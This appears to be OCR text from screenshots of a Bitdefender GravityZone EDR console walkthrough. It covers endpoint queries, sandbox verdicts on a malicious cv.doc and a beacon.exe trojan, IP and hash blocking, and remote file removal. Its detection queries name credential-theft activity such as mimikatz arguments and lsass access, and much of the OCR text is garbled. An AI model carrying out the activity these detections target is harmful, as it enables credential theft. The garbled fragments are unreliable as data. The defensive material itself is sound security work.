monitorizeaza continuu endpoint-uri pentru a detecta si raspunde la amenintari

cibernetice, cum ar fi ransomware-ul si malware-ul. Un EDR combina colectarea in timp

real a datelor de la endpoint-uri cu analize automate si raspunsuri rapide la incidentele
de securitate.
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Search

Monitoring
Dashboard

Incidents

Blocklist

Search

Custom detection rules
Custom exclusion rules

Threats Xplorer

Network

Patch inventory
Installation packages
Tasks

Tags management
Risk management
Misconfigurations
Vulnerabilities

User behavior risks

Devices

llcarc

SELECT * FROM arp_cache;

New query*

interface

50

Finalized

permanent




SELECT * FROM hash WHERE path='C:\Users\teodor_radoi\Desktop\cv.doc';

@ Monitoring
New query*
Dashboard

@ Incidents
Blocklist
Search
Custom detection rules

Custom exclusion rules

Threats Xplorer SR
Network

wioami ran by SYSTEM user
Patch inventary CVE-2024-3094
Installati kages
i AR RS mimikatz cmdline arg
Tasks

Tags managemen
S A gemont ervice added unusual means

Risk management upsicious parent-child process
Misconfigurations massible interaction with lsass.e
Vulnerabilities suspicious injection in process
User behavior risks self-copy-ing file

. “1atus: Finalized
Devices Se 1 for Logdj vulnerable syst... =%t

+ More
llgare




Search

New query

whoami ran by SYSTEM user
CVE-2024-3094

mimikatz cmdline arguments
process wned from ADS
service added unusual means
possible inte n with Isass.e...
suspicious injection in pr

self-copy-ing file

arch for | j vulnerable syst... .

New query*

ilian.p

SELECT * from users;

gid_signed

atu

type id uid_signed

1108
1109
500
503
indows\sys loca 501
C:\Windows\s local 1001
1002
C:\Windows\sys

C:\Windo

Finalized

username

iuian.popa
Administrat
DefaultAccot
Guest
mouha

WDAGUtilityAccount




SELECT * FROM os_version;

Search

Monitoring N
ew query*

Dashboard

Incidents
Blocklist
Sear
Custom detection rules
Custom exclusion rules
Threats Xplorer Endpoint arch build codena. install_date major minor name patch platform platform_like version
New query LABORATORVMO01 64-bit 19045 W1 10 0 Microsoft Windic windows 10.0.19045
Network
whoami ran by SYSTEM user LABORATORVMO002 64-bit 22631 Microsoft W ( i ftWinde  wir do \ 10.0.2
Patch inventory CVE-2024-3094
Installation packages mimikatz cmdline arguments
Tasks ess spawned from ADS
Tags management service added unusual means
Risk management supsicious parent-child process
Misconfigurations possible interaction with Isass.e..
Vulnerabilities suspicious injection in
User behavior risks self-copy-ing file
Metadata deta Status: Finalized Respondents: 2 Total endpoints: 2

Devices Search for Log4j vulnerabl

lleare



SELECT * FROM scheduled_tasks;

 Search

@ Monitoring

New query*
Dashboard

© Incidents

Blocklist

Search
Custom detection rules
Custom exclusion rules
Endpoint action enabled

Threats Xplorer

New que ( 1 [ ft\EdgelUpdate\M ftEdgels 1
Network

whoam n f an ¢ F\E Update\M ftEd r ) [
Patch inventory A a

vE-2024 C:AF Y iles\Micr Qr ) T standa paa X
Installation packages "

nimikat. ne argumen C:A\F 1 iles\Mic ( ) Jpda porti
Tasks . -

pre spawned from ADS C\F am Files\Microsoft On nda pda reporti
Tags managemen

g3 mendgemont ice added unusual means A A C:\Program Files\Microsoft OneDrive\OneDriveStanda elUpdater.ex porti

Risk management Simsicion t-child process - g 1

( am Files\Micr nda pdater.ex porti L
Misconfigurations pos nteraction with Isass.e ( File n File t St \Cl ( xe /frequentupda / fispla 1
Vulnerabilities suspicious injection in process A JATOR\ C:\Program Files\Common Files\Microsoft Shared\ClickToRun\Office 1
User behavior risks self-copy-ing file

Metadata deta tatus Finalized Respondents: 2 Total endpoints: 2

Devices Search for Logdj vulnerable syst

llcare



process.sha256:23f622e2d023ead369734afc7f5¢7f4739d77d862fe514c532¢f67f78bd26401%

Uldavilyaurie

@ Monitoring
Dashboard

@ Incidents
Blocklist
Search
Custom detection rules
Custom exclusion rules

Threats Xplorer

® Network
Patch inventory
Installation packages
Tasks
Tags management

Y’ Risk management
Misconfigurations
Vulnerabilities
User behavior risks
Devices
Users
Companies view
Policies
Configuration profiles
Assignment rules
Integrity monitoring rules

® Reports

Ransomware activity

Integrity monitoring eve...

© ourQEED




Predefined Queries

Bitdefender ‘JEEElEs

CravityZone

Monitoring
whoami ran by SYSTEM user

Dashboard

Incidents

Blocklist

Search

Custom detection rules
Custom exclusion rules
Threats Xplorer
Network

Patch inventory
Installation packages
Tasks

Tags management
Risk management
Misconfigurations
Vulnerabilities

User behavior risks
Devices

Users

Companies view
Policies

Configuration profiles
Assignment rules
Integrity monitoring rules
Reports

Ransomware activity

Integrity monitoring eve...

o QD




Malware Scan

Malware scan task

Scan email archives

this KB article

Miscellaneous

Scan memory

Scan cookies

Scan only new and changed files
for rootkits Scan for Potentially Unwanted Applications (PUA)
or keyloggers Resume scan after product update

Scan detachable volumes

Preserve last access time
Actions
Default action for infected files Disinfect . Alternative action Move to quarantine

action for suspect files Ignore v Alternative action Ignore

Default action for rootkits Disinfect




|IOC Scan

BitdEfender < ¢ Back
GravityZ

Scan devices for |IOCs

(i) Threats Xplorer

% Network
Patch inventory
Installation packages
Indicators of Compromise
Tasks
Tags management
Risk management T
Misconfigurations
Vulnerabilities
User behavior risks
Devices
Users
Companies view
Policies
Cenfiguration profiles
Assignment rules

Integrity monitoring rules

#| Repo
@ v iy




|IOC Scan Report

Bitdefender <JiS=tls
GravityZone
Report generated for task |OC scan

@ Incidents

Generated by: zamolxis.org

Blocklist on: 10 October 2024, 12-11°35

Search Scan Name: I0C S

an Hackout

.

Custom detection rules Scan Details:

Custom exclusion rules

Threats Xplorer

Network

Patch inventory
Installation packages
Tasks

Tags management
Risk management

Misconfigurations

Vulnerabilities

0 (0%)

=]
=
=]

User behavior risks ZAMOLXIS SOLUT... 0/2 0/0 0,

=]
=)
-

Devices
Users

Companies view



Sandbox Analyzer Report: cv.doc

Bitdefender Exploit. MSOfficeWord @ Sandbox Analyzer

Threat Analysis:

Threat: Exploit.MSOfficeWord

Severity: 99




Sandbox Analyzer Report: c.exe(beacon.exe)

Bitd?fﬁhder Troian @ Sandbox Analyzer

Threat Analysis:

Threat: Trojan
Severity: 99




Add connection rule

Details

Rule name Hackout Block IP
Note

Application path

Settings

Local address

£4 Any

Remote address

Any IP or IP/Mask 192.168.109.44

Apply rule only for directly connected computers

Remote MAC

Port or port range

Port or port range




Block Hash

Add hash rule

Manually add the hash to Blocklist

MNote Block Hash Hackout

Paste hash

Select target companies

The rule is added recursively for all valid companies

Selected groups

ZAMOLXIS SOLUTIONS SRL




Bitdefender

GravityZone

Monitoring
Dashboard

Incidents

Blocklist

Search

Custom detection rules
Custom exclusion rules

Threats Xplorer

Network

Patch inventory
Installation packages
Tasks

Tags management
Risk management
Misconfigurations
Vulnerabilities

User behavior risks

Devices

llcarc

Incidents

kill

=

reg query
reog add
reg delete

taskliat

del/delate

Malware removal

Desoription

Cleoars up the terminal window,

Displays the list of all available commanda along with a short description.
Displays information about all files and folders from the specified directory.
Displays information about all running processes on the target endpoint.
Changes the working directory to the specified path.

Terminates a running proceas or application on the target endpoint.

Deletes files and folders from the target endpoint.

Returns the specified registry information (keys and values).

Creates a new registry key or value.

Deletes a registry key or its value.

C:\ > mm C:\Users\teodor_radoi\Desktop\cv.docl]
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